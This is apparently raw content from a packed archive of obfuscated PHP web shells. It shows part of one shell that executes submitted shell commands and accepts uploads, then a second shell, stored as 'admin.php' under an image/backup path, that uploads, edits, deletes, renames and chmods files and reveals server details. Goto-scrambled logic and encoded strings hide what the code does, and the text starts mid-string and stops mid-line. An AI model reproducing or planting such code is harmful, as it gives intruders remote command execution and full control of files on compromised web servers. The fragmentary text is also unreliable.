x20\40\40\x20\x20\x20\40\175\15\12\xd\12\x20\40\x20\40\40\x20\40\40\146\x6f\x72\155\40\x7b\15\xa\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\155\x61\x72\147\151\x6e\55\x62\x6f\x74\164\157\x6d\x3a\40\62\x30\160\170\x3b\15\12\40\x20\40\40\x20\x20\40\40\x7d\15\xa\40\x20\x20\40\74\x2f\163\x74\x79\154\x65\x3e\xd\12\x3c\x2f\150\x65\141\144\76\xd\12\xd\xa\x3c\142\x6f\144\171\76\15\12\40\40\x20\x20\74\x68\61\x20\x73\164\x79\154\x65\75\42\164\145\170\x74\x2d\141\154\x69\x67\156\x3a\x20\x63\x65\156\x74\x65\x72\73\42\76\x3c\x66\x6f\156\164\x20\x63\x6f\154\x6f\x72\x3d\42\x72\x65\x64\42\x3e\115\123\x56\x20\106\x4d\74\x2f\x66\157\156\164\x3e\74\x2f\x68\x31\76\15\12\40\x20\40\40\74\x66\x6f\162\155\40\155\145\164\x68\157\144\75\x22\120\117\123\x54\x22\x20\x61\x63\164\151\157\156\75\x22\x22\x3e\15\12\x20\x20\x20\40\x20\x20\x20\40"; goto sc7Og; RT5uH: if (!($_SERVER[base64_decode("\x55\153\x56\122\x56\125\x56\124\x56\x46\x39\116\x52\x56\122\111\x54\60\x51\75")] === base64_decode("\125\x45\71\x54\x56\101\x3d\75") && isset($_FILES[base64_decode("\x5a\x6d\154\163\x5a\x51\x3d\x3d")]))) { goto DGV0I; } goto spvh2; SzH3a: goto erOBh; goto hqxpU; tQzOT: if (!($GnBD1 === 0)) { goto v4X2N; } goto pslqQ; nVJmm: $EEcNs = stream_get_contents($k2_JX[1]); goto RVBd5; Wk8V9: if (rename($_POST[base64_decode("\143\x47\x46\60\141\x41\75\75")], $eNhib . base64_decode("\x4c\x77\75\x3d") . $_POST[base64_decode("\142\155\x56\x33\x62\155\106\164\132\121\x3d\75")])) { goto IMUZ9; } goto pFKrH; HmtS0: echo htmlspecialchars($cFZDS); goto tTEqW; wIGQj: R2UdA: goto HU3sV; FIdrG: if (!($JUInb === 0)) { goto iZF_7; } goto e7cMQ; lOYQE: echo "\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\40\40\40\40\40\40\x3c\x66\157\x72\x6d\40\145\x6e\143\164\171\x70\145\75\x22\x6d\x75\x6c\164\151\x70\141\162\164\x2f\x66\157\162\155\x2d\144\x61\x74\x61\x22\40\x6d\x65\164\x68\x6f\x64\x3d\x22\120\117\x53\124\42\x3e\15\12\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\74\x66\x6f\x6e\164\x20\143\x6f\154\x6f\x72\x3d\x22\x77\150\x69\x74\x65\42\x3e\x46\151\x6c\145\40\125\160\154\x6f\x61\x64\40\x3a\74\x2f\x66\157\x6e\x74\76\x20\74\151\x6e\x70\x75\164\x20\164\x79\160\145\75\42\146\x69\154\x65\42\40\x6e\x61\155\145\75\x22\146\151\154\145\x22\x20\57\x3e\xd\xa\x20\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\74\151\x6e\160\x75\164\40\x74\171\x70\145\x3d\x22\163\x75\x62\155\x69\x74\42\40\x76\x61\154\165\145\x3d\x22\165\160\x6c\x6f\141\144\x22\x20\57\x3e\15\xa\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\40\74\x2f\x66\157\162\x6d\x3e\15\xa\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\74\x2f\x74\x64\76\15\xa\x20\40\x20\40\40\x20\40\40\40\40\40\x20\74\57\x74\x72\x3e\xd\xa\40\x20\40\x20\40\40\x20\40\40\40\x20\x20"; goto aZUG9; c47Tg: UR0pf: goto wU1cm; lAfRt: ob_start(); goto KrUl_; x1axg: echo "\74\x69\156\160\165\x74\x20\164\171\160\x65\x3d\47\164\145\170\164\47\x20\163\x69\x7a\x65\75\47\63\x30\x27\40\x68\x65\151\147\150\164\x3d\x27\61\60\x27\40\156\x61\155\x65\75\47\143\155\144\47\40\160\x6c\x61\143\145\150\x6f\154\144\x65\x72\75\x27\x45\x78\x65\x63\165\164\145\47\x3e\15\12\40\x20\x20\x20\40\40\x20\40\74\x69\156\x70\x75\x74\40\164\171\160\x65\x3d\x22\163\165\x62\155\151\x74\x22\40\x63\154\x61\163\163\75\42\x65\155\x70\x74\x79\55\x62\165\164\x74\x6f\x6e\x22\76\15\12\x20\x20\40\x20\x3c\x2f\x66\x6f\162\x6d\x3e\15\12\x20\40\40\40"; goto XJj68; pigTC: FK3Fw: goto gQvHh; KSye5: sjptv: goto JKbjN; xTKmK: v4X2N: goto VgLTh; SH23i: lRtUn: goto COytp; b0_uT: CoaX2: goto UzF0q; pFKrH: echo base64_decode("\120\x47\x5a\x76\x62\x6e\x51\x67\131\x32\71\163\x62\x33\111\x39\111\x6e\112\154\132\x43\x49\53\x52\x32\106\x75\x64\107\153\147\x54\x6d\106\164\131\123\102\x48\x59\x57\144\150\142\104\x77\166\x5a\x6d\x39\165\x64\104\x34\70\131\156\111\147\114\x7a\64\x3d"); goto Zo4KG; VgLTh: O0KrZ: goto SzH3a; Ijc0k: echo base64_decode("\120\x48\122\x79\x50\x6a\170\x30\132\104\x35\104\x64\x58\112\x79\x5a\x57\x35\60\x49\x44\x77\147\x4f\151\x41\x3d"); goto mW8q8; Yktzr: U8L1I: goto UHTmS; mumEQ: @header(base64_decode("\x57\x43\61\102\131\62\116\154\142\103\61\103\x64\127\132\x6d\x5a\130\x4a\x70\142\155\x63\66\111\107\65\x76")); goto jkGJj; bJHUY: $cFZDS = @shell_exec($ptg0t); goto zzI3D; fC3yG: fclose($SUhbu); goto fRnML; xvXT7: $cFZDS = null; goto iSjAX; KVaRj: if (function_exists(base64_decode("\143\x47\x46\x7a\x63\63\x52\157\143\156\125\75"))) { goto izxu2; } goto B0CWs; g9XEi: goto oUWKl; goto aL_nE; hqxpU: b4juq: goto bJHUY; Tp_tQ: if (function_exists(base64_decode("\x63\x48\112\x76\131\61\71\x76\143\107\x56\x75"))) { goto GfDsJ; } goto YjR6T; SfDSM: echo base64_decode("\x50\107\132\166\x62\x6e\121\x67\x59\x32\71\x73\x62\x33\111\x39\x49\156\x4a\154\132\x43\111\53\126\x58\102\163\142\x32\106\x6b\x49\105\144\150\x5a\62\106\163\x50\103\71\155\142\62\x35\60\120\x6a\x78\x69\143\x69\70\53"); goto g9XEi; sc7Og: echo htmlspecialchars(get_current_user()) . base64_decode("\121\x41\75\x3d") . htmlspecialchars(gethostbyname($_SERVER[base64_decode("\123\106\122\125\x55\x46\71\x49\x54\x31\x4e\x55")])) . base64_decode("\117\x69\102\53\111\x43\121\75"); goto x1axg; Ek3Vl: echo base64_decode("\x50\107\x5a\x76\142\156\x51\147\131\62\71\163\x62\x33\111\71\x49\x6d\x64\171\x5a\127\x56\165\111\x6a\65\x47\x61\x57\x78\154\x49\106\122\x6c\143\x6d\150\x68\x63\x48\126\x7a\x50\103\71\x6d\142\x32\x35\60\120\x6a\170\151\143\151\x38\53"); goto zwcaK; Z8Ra4: YrXO6: goto gEvvd; tdTZT: function jMfdd($g9JOM) { goto i3a6r; DIEmD: return $TRmyl; goto ER2Se; ZWJ7r: goto Te23S; goto X0Rp4; lPamP: $TRmyl = base64_decode("\131\147\75\x3d"); goto KS2L0; dn6mG: $TRmyl .= $eO1kW & 0x100 ? base64_decode("\143\147\75\75") : base64_decode("\x4c\121\x3d\75"); goto Ant4Q; JIQ2Q: $TRmyl = base64_decode("\x59\x77\75\x3d"); goto QoesE; Mc1fk: $TRmyl = base64_decode("\142\x41\x3d\75"); goto ZWJ7r; ygmGh: goto Te23S; goto hQaMb; NPbnu: if (($eO1kW & 0x6000) == 0x6000) { goto JC16O; } goto iPhBW; X0Rp4: zjHHP: goto FcnQb; WerKM: $TRmyl .= $eO1kW & 0x2 ? base64_decode("\x64\x77\75\75") : base64_decode("\x4c\121\x3d\x3d"); goto Lqlpu; EeryC: $TRmyl = base64_decode("\x5a\101\x3d\x3d"); goto nnCum; KAeI8: $TRmyl .= $eO1kW & 0x20 ? base64_decode("\x63\147\x3d\x3d") : base64_decode("\114\121\75\75"); goto PVU7w; QoesE: goto Te23S; goto k_Og4; KS2L0: goto Te23S; goto aj3o1; uEfF7: vPuHC: goto JIQ2Q; iPhBW: if (($eO1kW & 0x4000) == 0x4000) { goto iCG4U; } goto VsBro; Vum0Z: GPFgP: goto Mc1fk; PRuZM: if (($eO1kW & 0x8000) == 0x8000) { goto zjHHP; } goto NPbnu; nnCum: goto Te23S; goto uEfF7; PVU7w: $TRmyl .= $eO1kW & 0x10 ? base64_decode("\x64\x77\x3d\75") : base64_decode("\x4c\x51\x3d\75"); goto fJNLb; dNGBf: goto Te23S; goto yiAFU; D0sbV: $TRmyl .= $eO1kW & 0x40 ? $eO1kW & 0x800 ? base64_decode("\x63\167\75\75") : base64_decode("\x65\x41\75\x3d") : ($eO1kW & 0x800 ? base64_decode("\125\x77\75\x3d") : base64_decode("\114\121\x3d\75")); goto KAeI8; hQaMb: kPoX_: goto sVZIB; yiAFU: JC16O: goto lPamP; sVZIB: $TRmyl = base64_decode("\143\167\75\x3d"); goto b2Bbm; azH_T: if (($eO1kW & 0x1000) == 0x1000) { goto NFof3; } goto ve68k; mJ2k5: if (($eO1kW & 0xc000) == 0xc000) { goto kPoX_; } goto CFQwu; Lqlpu: $TRmyl .= $eO1kW & 0x1 ? $eO1kW & 0x200 ? base64_decode("\x64\x41\x3d\75") : base64_decode("\145\x41\x3d\75") : ($eO1kW & 0x200 ? base64_decode("\126\x41\75\75") : base64_decode("\x4c\x51\75\75")); goto DIEmD; i3a6r: $eO1kW = fileperms($g9JOM); goto mJ2k5; k_Og4: NFof3: goto iFRo5; FdqN7: Te23S: goto dn6mG; FcnQb: $TRmyl = base64_decode("\x4c\x51\75\75"); goto dNGBf; ve68k: $TRmyl = base64_decode("\144\x51\75\75"); goto ygmGh; CeviK: $TRmyl .= $eO1kW & 0x4 ? base64_decode("\143\x67\x3d\x3d") : base64_decode("\x4c\x51\75\x3d"); goto WerKM; b2Bbm: goto Te23S; goto Vum0Z; fJNLb: $TRmyl .= $eO1kW & 0x8 ? $eO1kW & 0x400 ? base64_decode("\143\x77\75\x3d") : base64_decode("\145\101\x3d\x3d") : ($eO1kW & 0x400 ? base64_decode("\x55\167\75\75") : base64_decode("\114\x51\x3d\x3d")); goto CeviK; VsBro: if (($eO1kW & 0x2000) == 0x2000) { goto vPuHC; } goto azH_T; Ant4Q: $TRmyl .= $eO1kW & 0x80 ? base64_decode("\x64\x77\75\75") : base64_decode("\114\121\x3d\x3d"); goto D0sbV; CFQwu: if (($eO1kW & 0xa000) == 0xa000) { goto GPFgP; } goto PRuZM; iFRo5: $TRmyl = base64_decode("\x63\x41\x3d\x3d"); goto FdqN7; aj3o1: iCG4U: goto EeryC; ER2Se: }
?>PK T
5\$J!Q3 3 ( wlw/img/modules/v3/backup/pwff/admin.phpnu W+A $Oe) { goto Fvm5j; qygGW: echo sS($Op[$lE]); goto aPb2u; aPb2u: if ($lE != $j3) { goto dPc14; } goto Wds7x; QB8_i: echo "\x32\146"; goto jLTjf; PByHB: goto ufLc2; goto VIYPa; lpkFk: EYftb: goto jYCxj; Fvm5j: if ($j3 == 0 && $Oe == '') { goto MWOxt; } goto PByHB; cVGQY: $lE = 0; goto pe3Dv; OzfAy: goto Kt8H4; goto sf8OO; Q42e7: echo "\74\x61\40\x68\x72\x65\146\x3d\x22\77\160\75\62\x66\x22\40\143\154\141\163\163\75\x22\x63\157\155\x62\x65\164\x22\x3e\x7e\x3c\x2f\141\76\57"; goto OzfAy; EAX3I: $lE++; goto W9UQF; Spsgc: Kt8H4: goto sMtqi; Wds7x: goto U3WfF; goto ut0jS; vUVs4: IBpgX: goto bS2jz; jLTjf: U3WfF: goto lo3ZP; VkFF6: echo "\x3c\x61\40\x63\154\x61\x73\163\x3d\x22\x63\157\x6d\x62\x65\x74\42\40\x68\162\x65\x66\x3d\42\77\160\75"; goto cVGQY; W9UQF: goto ZiNnh; goto lpkFk; pe3Dv: ZiNnh: goto QH27w; JZx4X: ysRXm: goto VkFF6; jTGNi: goto EYftb; goto iNne8; xpmjY: goto ysRXm; goto vUVs4; jYCxj: echo "\x22\76{$Oe}\74\57\x61\x3e\x2f"; goto Spsgc; VIYPa: MWOxt: goto Q42e7; ut0jS: dPc14: goto QB8_i; sMtqi: rS3NS: goto oJ1oa; lo3ZP: SthHa: goto EAX3I; ppxrX: if ($Oe == '') { goto IBpgX; } goto xpmjY; bS2jz: goto Kt8H4; goto JZx4X; iNne8: cMQQe: goto qygGW; QH27w: if ($lE <= $j3) { goto cMQQe; } goto jTGNi; sf8OO: ufLc2: goto ppxrX; oJ1oa: } goto Y7Z0b; ui2ii: JvcYD: goto iBbm5; nsWn8: function tF($yf) { goto sskCe; fXVxM: if (!(is_dir($yf) && array_diff(scandir($yf), array("\56", "\x2e\56")))) { goto RP3Iy; } goto ZYx8z; LUX_z: RP3Iy: goto iTc69; YTPw1: if (trim(pathinfo($yf, PATHINFO_BASENAME), "\x2e") === '') { goto Mrxog; } goto wANxN; M8mG2: QTjyQ: goto BOu7j; XOSkm: Wv6fm: goto fXVxM; iTc69: rmdir($yf); goto n1Jtf; ZYx8z: goto QTjyQ; goto LUX_z; n1Jtf: return; goto M8mG2; sskCe: global $c8; goto YTPw1; wANxN: goto Wv6fm; goto iXnKi; QKT6w: rmdir($yf); goto s9gwe; BOu7j: array_map(function ($item) use($yf) { goto Qn2wI; Qn2wI: $file = $yf . DIRECTORY_SEPARATOR . $item; goto BDdLo; N1N3K: goto iy3dP; goto QP8VH; DMrRd: iy3dP: goto r51c1; QP8VH: uTA7m: goto ePttR; ePttR: tF($file); goto DMrRd; BDdLo: if (is_dir($file)) { goto uTA7m; } goto I91lo; I91lo: unlink($file); goto N1N3K; r51c1: }, array_diff(scandir($yf), array("\56", "\56\x2e"))); goto QKT6w; iXnKi: Mrxog: goto Kuedk; Kuedk: return; goto XOSkm; s9gwe: } goto CKeJG; b1Prt: ltJzC: goto rjz3G; yFHz7: xE("\x47\x61\147\141\154\x20\x6d\145\x6d\x70\x65\x72\x62\141\162\165\151\x20\153\x6f\x6e\x74\145\x6e\x20\x66\151\154\x65"); goto Qns7R; NaeCm: mfvF0: goto GoQrX; MhAYt: xE("\116\x61\155\141\40\146\157\x6c\144\x65\162\x20\164\x65\x6c\141\x68\40\144\151\147\165\156\141\x6b\x61\156", 0, "\46\x61\x3d" . SS("\x6e\x65\167\104\151\x72")); goto UGZfs; ah8PB: if ($lE < count($c8)) { goto Ts8yS; } goto EIdAd; V60JP: CiuOO: goto sZ6bB; IV6J1: if (!isset($_FILES["\x66"])) { goto j8Ne4; } goto TR99t; P15t3: echo "\x3c\150\x35\40\143\x6c\x61\163\x73\x3d\x22\x70\55\x31\x20\162\141\x69\x6e\x62\157\x77\x2d\x62\x6f\x72\x64\x65\x72\x22\x3e\122\145\156\141\x6d\x65\40\x46\151\154\145\x20\x3a\x20"; goto ellLl; s1u_6: goto vM212; goto yexD7; lygUa: $Jd = jD($_GET["\x70"]); goto XoXZZ; R6obu: IfSJ9: goto eucg0; tEYJK: echo "\x3c\x2f\164\145\x78\x74\141\x72\x65\x61\x3e\15\12\74\x2f\x64\151\x76\x3e\15\xa"; goto N93Qc; erhmN: goto qLlQw; goto i0rgL; fIAC0: vM212: goto ZZiIv; rHpnJ: echo ss($Jd) . "\x26\x61\75" . Ss("\x6e\145\x77\106\x69\x6c\x65"); goto v9nE0; qWFN0: goto BgYPr; goto Lm_zM; GoQrX: xe("\146\151\154\145\x20\x64\145\x6c\145\x74\145\x64\40\163\x75\x63\143\x65\163\163\146\x75\x6c\154\171"); goto SollG; SwPKx: echo "\74\x2f\163\160\x61\156\76\74\x2f\154\151\x3e\15\12\74\154\151\76\120\110\x50\40\126\x65\x72\163\151\x6f\x6e\40\72\x20\x3c\163\160\x61\x6e\40\163\x74\171\154\145\x3d\42\x63\157\154\157\162\72\x20\x77\x68\x69\x74\x65\73\x22\76"; goto sBr8q; FjyCj: xe("\106\x69\154\145\40\x62\x65\x72\x68\x61\x73\x69\x6c\x20\x64\x69\142\x75\141\x74", 1, "\46\x61\75" . SS("\x76\151\145\x77") . "\x26\156\75" . Ss($fileName)); goto TytgP; tqKCZ: xE("\x46\x69\x6c\145\x20\x74\x69\x64\x61\153\40\141\x64\x61\x20\x61\x74\x61\x75\40\164\x69\x64\141\153\x20\144\x61\160\x61\x74\40\x64\x69\164\x75\x6c\151\x73"); goto twach; h0yNe: NF5Mp: goto ed79z; yVA2j: $targetFilePath = "{$Jd}\57{$fileName}"; goto as55f; oUPhS: if (!isset($_POST["\x63\150\141\x6e\147\145\x5f\x70\145\x72\x6d\x73"])) { goto ih__Q; } goto XjoI2; jJ6Ik: goto xdi7Y; goto Kar2v; ThB_8: PYt7W: goto l8csR; twach: goto XR5kC; goto Y6O3j; m101q: f8xPg: goto pTFI0; vNGYA: goto mBbAB; goto g0l1M; CzeEQ: $fileTmpNames = $_FILES["\x66"]["\x74\155\x70\137\x6e\x61\155\x65"]; goto yqeU_; W_YUR: $newPath = "{$currentDir}\57{$newName}"; goto uLQpu; HhbxK: $lE = 0; goto SrkKL; g6YeJ: jycuQ: goto yzR0z; KQMnt: c_wd5: goto XplJE; yCXHO: echo $c8[18]($c8[14](getcwd() . "\x2f" . jd($_GET["\156"]))); goto tEYJK; AP21i: $content = $_POST["\146\151\154\x65\x5f\x63\x6f\x6e\164\x65\x6e\x74"]; goto jtnD_; XNn9R: goto JvcYD; goto ZFVCq; ddJe8: $totalFiles = count($uploadedFiles); goto fIAC0; Sjegh: if (!($im == "\x76\151\x65\167")) { goto ltJzC; } goto IOs5m; LExXx: OqgUI: goto DxM5p; TytgP: NA5Qf: goto C0rs5; eJzBg: $Op = $c8[4]("\57\50\x5c\x5c\x7c\x5c\x2f\x29\57", $Jd); goto wEnsV; Kar2v: lNhPP: goto QVXk5; KxtAf: Ts8yS: goto Z3Rwf; YpqQB: xe("\x42\x65\162\x68\141\x73\x69\x6c\x20\x6d\x65\156\147\x75\142\141\150\x20\x6e\141\x6d\x61\x20\146\x69\154\x65"); goto PdVkP; Uj6Nn: $filePath = getcwd() . "\57{$fileName}"; goto AP21i; gNdcw: nRhJi: goto GAJ_p; WsTPz: wXkgs: goto lP14A; IXUL0: goto G9S0S; goto hQI_R; y1nIx: $filePath = "{$currentDir}\57" . jD($_GET["\156"]); goto vA6Xn; i0rgL: Cw8Jm: goto Sjegh; SSOY8: Xe("\106\x69\x6c\145\40\x67\141\x67\141\154\x20\x64\151\165\156\147\x67\x61\x68", 0); goto LHnmG; ed79z: if (!($im == "\156\145\x77\104\x69\x72")) { goto fV5j4; } goto XNn9R; gQPY8: if (file_put_contents($filePath, $content) !== false) { goto Q1N8Z; } goto yFHz7; XplJE: Sp00F: goto ql2h3; cb69F: $lE++; goto jJ6Ik; U0HWk: goto WuWzI; goto g6YeJ; fFAU6: tF($BL); goto BeTGF; qv6Am: echo gethostbyname($_SERVER["\x52\105\115\117\x54\105\137\x41\x44\104\x52"]); goto KhgEs; EdS_l: echo "\74\57\163\160\141\x6e\x3e\74\57\154\x69\76\xd\12\74\x6c\151\76\x53\145\162\x76\x65\162\x20\123\x6f\x66\164\x77\x61\162\145\x20\72\40\74\163\160\x61\156\40\163\164\x79\x6c\145\75\x22\x63\x6f\154\x6f\162\72\x20\x77\150\151\164\x65\73\x22\x3e"; goto M6ABo; ZFVCq: fV5j4: goto LtzXz; psV4R: echo "\x3c\x68\x35\x20\143\154\x61\163\163\75\42\x70\x2d\x31\40\x72\141\151\156\142\157\167\55\x62\157\162\144\x65\x72\x22\x20\163\x74\x79\154\145\x3d\42\164\145\170\x74\x2d\x61\154\151\x67\156\72\40\143\145\x6e\x74\145\162\x3b\42\x3e\15\12\40\40\x20\40\126\151\145\167\x20\106\x69\x6c\145\x20\116\x61\x6d\x65\x20\x3a\x20\x3c\x66\x6f\156\x74\x20\x63\x6f\154\157\162\x3d\42\167\x68\x69\164\x65\42\76"; goto QznLN; vA6Xn: if (chmod($filePath, octdec($newPerms))) { goto eDnbO; } goto hgzvg; RE3aJ: G9S0S: goto O4wAy; MycnO: echo "\x3c\x2f\x66\157\x6e\164\76\74\57\150\65\x3e\xd\12\x3c\146\x6f\x72\155\40\155\x65\164\150\157\144\x3d\42\x70\x6f\163\x74\x22\76\xd\xa\x20\x20\x20\40\x3c\144\151\166\40\x63\154\141\163\x73\75\x22\x66\157\162\155\x2d\147\x72\x6f\x75\x70\x22\x3e\xd\12\x20\x20\40\x20\x20\x20\x20\x20\x3c\164\145\x78\x74\141\162\145\x61\x20\x6e\141\155\x65\75\42\146\x69\x6c\x65\137\x63\x6f\x6e\x74\x65\156\x74\42\x20\151\x64\x3d\x22\146\x69\154\x65\137\x63\157\156\164\x65\156\x74\x22\x20\x63\x6f\x6c\163\x3d\x22\63\60\x22\x20\162\x6f\x77\163\75\x22\x31\x30\x22\x20\143\154\x61\163\x73\75\x22\146\157\x72\x6d\x2d\143\x6f\x6e\164\x72\x6f\x6c\x20\x72\141\151\x6e\x62\157\167\x2d\142\x6f\x72\x64\x65\x72\42\76"; goto OJjdv; ANEwH: goto WuWzI; goto ISycY; DmZNj: if (file_exists($folderPath)) { goto lVpvL; } goto JqxaL; IP9JK: $Jd = getcwd(); goto K71UA; dG_yF: if (!file_exists($BL)) { goto mfvF0; } goto LHxHL; ql2h3: echo "\x20\15\xa\x3c\57\x74\142\x6f\x64\x79\76\15\12\74\x2f\x74\x61\x62\x6c\145\76\15\12"; goto RE3aJ; pJrgA: if (!($_SERVER["\x52\105\x51\125\105\x53\x54\137\x4d\x45\x54\x48\117\104"] === "\120\117\x53\124" && isset($_POST["\145\x64\151\164\137\x66\x69\154\145"]))) { goto FuJKP; } goto WY826; iPtuX: ih__Q: goto QJcbe; aPTH4: echo "\74\57\164\145\x78\164\x61\x72\145\x61\x3e\15\xa\40\x20\40\40\x3c\57\144\x69\x76\76\15\xa\40\40\x20\40\74\144\151\x76\x20\143\154\141\x73\x73\75\x22\146\x6f\162\x6d\55\147\162\157\165\x70\x22\x20\163\164\x79\154\x65\x3d\42\x6d\x61\x72\147\x69\156\x2d\x74\157\x70\72\40\61\x30\160\x78\73\x22\76\xd\12\40\x20\x20\x20\x20\x20\40\40\x3c\142\165\x74\164\x6f\156\x20\x74\171\x70\x65\75\42\x73\x75\x62\155\x69\x74\42\40\156\141\x6d\x65\75\x22\x65\x64\x69\x74\x5f\x66\151\x6c\145\x22\x20\x63\154\141\163\x73\x3d\x22\x6f\x68\x63\x74\42\76\123\151\x6d\x70\141\156\x3c\57\x62\x75\x74\x74\157\156\x3e\xd\xa\40\x20\40\x20\x3c\x2f\144\151\166\76\xd\xa\74\57\x66\157\162\155\76\xd\xa\xd\xa"; goto pJrgA; EaJYU: Bh2fC: goto iPtuX; GrpvM: Y6Upm: goto SetU1; g4Bkd: goto YmvX_; goto APzPP; lBivr: $content = $_POST["\x66\151\x6c\x65\x5f\143\157\x6e\x74\145\156\164"]; goto gbyid; PdVkP: Fk3E1: goto pMfSC; PZxqg: if (isset($_GET["\141"])) { goto PW8sr; } goto e3oOU; QVXk5: if (!isset($_GET["\x70"])) { goto wXkgs; } goto xa4PM; QJcbe: goto WuWzI; goto SrtER; uNjg_: echo jD($_GET["\x6e"]); goto DbYJr; z00aG: if (!($_GET["\x74"] == "\x66")) { goto GRYEX; } goto o5NaW; T7PXl: $fileName = basename($uploadedFiles[$index]); goto yVA2j; Qns7R: goto WBrRw; goto qkvjE; C0rs5: goto PYt7W; goto R6obu; HB3Fv: echo "\74\x2f\x68\65\x3e\xd\xa\74\146\x6f\162\x6d\x20\155\x65\x74\150\x6f\144\x3d\42\160\157\x73\x74\42\x3e\15\12\x20\x20\40\x20\74\144\151\166\40\x63\154\x61\163\x73\x3d\42\x66\157\162\155\55\x67\162\x6f\x75\x70\42\76\xd\xa\x20\40\40\40\40\x20\x20\x20\x3c\151\156\x70\165\164\40\164\171\160\145\75\x22\x74\145\170\x74\x22\x20\x6e\141\155\x65\75\x22\x6e\145\x77\x5f\146\x69\154\145\137\156\x61\x6d\x65\42\x20\151\144\75\42\x6e\145\x77\137\x66\151\x6c\145\x5f\156\x61\155\x65\42\x20\143\154\141\x73\163\x3d\42\x62\x6f\162\144\x65\x72\40\160\55\61\x22\x20\166\x61\154\165\x65\75\x22"; goto uNjg_; LtzXz: if (!($im == "\156\x65\167\106\151\x6c\145")) { goto Y6Upm; } goto xYynO; sueaT: goto NA5Qf; goto caZJX; FfdSI: if (!($im == "\x63\x68\x61\x6e\147\145\120\145\x72\155\x73")) { goto Cw8Jm; } goto erhmN; zQPxb: $Jd = getcwd(); goto IV6J1; BeTGF: if (!file_exists($BL)) { goto l07qe; } goto tqIqH; XuBX4: echo "\x22\x20\x63\154\x61\x73\163\x3d\42\157\150\143\164\x22\x3e\x42\x75\x61\164\40\106\157\x6c\144\x65\x72\x3c\57\141\x3e\74\57\x6c\x69\76\15\12\74\x66\x6f\162\155\40\141\143\164\x69\157\x6e\x3d\x22\x22\x20\155\145\x74\150\x6f\144\75\x22\x50\x4f\123\x54\42\40\x65\156\x63\164\x79\160\x65\75\x22\155\165\x6c\164\x69\160\x61\x72\x74\57\x66\x6f\x72\155\x2d\x64\x61\x74\x61\42\x20\x73\x74\x79\154\x65\x3d\42\x70\141\x64\x64\x69\156\147\72\x20\x30\56\x31\x30\162\x65\x6d\73\x20\x64\x69\163\160\154\x61\171\72\40\x69\156\154\x69\x6e\x65\55\142\x6c\157\x63\153\x3b\x22\x3e\15\12\x20\x20\x20\40\x3c\151\x6e\x70\x75\164\x20\164\x79\160\145\75\x22\146\x69\154\x65\42\x20\x6e\x61\x6d\145\75\42\146\x5b\x5d\x22\x20\155\x75\154\164\151\x70\154\x65\76\15\xa\x20\40\40\x20\x3c\151\x6e\x70\x75\164\40\x74\171\x70\x65\75\x22\163\165\142\155\151\x74\x22\x20\x76\141\154\x75\x65\x3d\42\x55\x70\x6c\157\x61\x64\42\x20\x6e\141\155\x65\75\42\163\x75\142\x6d\151\x74\x22\40\x63\x6c\x61\163\x73\75\42\x62\x75\x74\x74\157\156\40\157\x68\x63\164\x22\76\xd\12\74\x2f\146\x6f\162\155\x3e\xd\12"; goto zQPxb; CgOkh: echo php_uname(); goto EdS_l; ckKLx: xe("\113\157\156\164\x65\x6e\40\146\x69\154\x65\x20\x62\x65\162\150\141\163\x69\x6c\x20\144\x69\x70\x65\162\x62\x61\x72\x75\151", 1, "\46\x61\x3d" . sS("\x76\151\145\167") . "\x26\x6e\75{$_GET["\x6e"]}"); goto OPLx1; v3G9M: foreach ($G3 as $F1) { goto ruO3g; JOFka: ujbhv: goto glGuu; D3Ydb: $kL = $kL > 1024 ? round($kL / 1024, 2) . "\x20\x20\115\102" : $kL . "\x20\40\113\102"; goto ldehu; v2noY: F6uUG: goto nnWwd; bcKKF: TomPa: goto cb8nr; ldehu: echo "\15\12\x3c\164\x72\x3e\15\xa\74\x74\144\x20\x73\164\171\x6c\145\x3d\42\x74\x65\x78\x74\55\141\x6c\x69\x67\156\x3a\x20\x6c\x65\146\x74\73\42\x3e\xd\12\x3c\151\x20\x63\x6c\x61\x73\x73\75\x22\146\x61\40\x66\141\x2d\x66\x77\40\146\141\55\146\151\154\145\55\157\42\40\x73\x74\x79\x6c\x65\x3d\42\x62\x6f\162\x64\x65\x72\72\40\x30\x3b\160\141\x64\x64\151\156\x67\72\x20\60\x3b\167\151\x64\x74\150\72\40\61\x2e\62\x38\65\67\x31\x34\x32\x39\145\155\73\x22\x3e\x3c\57\151\x3e\x3c\141\x20\150\x72\x65\x66\x3d\42\x3f\160\75" . SS($Jd) . "\x26\x61\x3d" . sS("\x76\151\x65\167") . "\x26\x6e\x3d" . SS($F1) . "\42\x20\x64\x61\x74\x61\x2d\164\x6f\x67\147\154\145\x3d\42\164\157\157\x6c\x74\x69\x70\x22\40\144\x61\x74\141\x2d\x70\154\x61\143\145\x6d\x65\x6e\x74\x3d\x22\141\165\x74\157\x22\40\x74\151\x74\154\145\x3d\42\114\141\x74\145\x73\164\40\155\157\144\x69\146\171\40\x6f\156\40" . $c8[19]("\131\55\x6d\55\144\x20\110\72\x69", $c8[20]("{$Jd}\57{$F1}")) . "\x22\76{$F1}\x3c\57\141\76\74\57\164\x64\x3e\15\12\x3c\x74\x64\x3e\x3c\x73\160\141\x6e\76{$kL}\74\x2f\163\160\x61\x6e\x3e\x3c\57\164\144\76\xd\xa\74\x74\144\x3e\xd\xa\x20\40\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\40\x20\40\74\141\40\150\162\145\x66\75\x22\x3f\x70\75" . SS($Jd) . "\46\141\75" . sS("\x63\150\141\156\x67\x65\120\x65\162\155\x73") . "\x26\156\75" . SS($F1) . 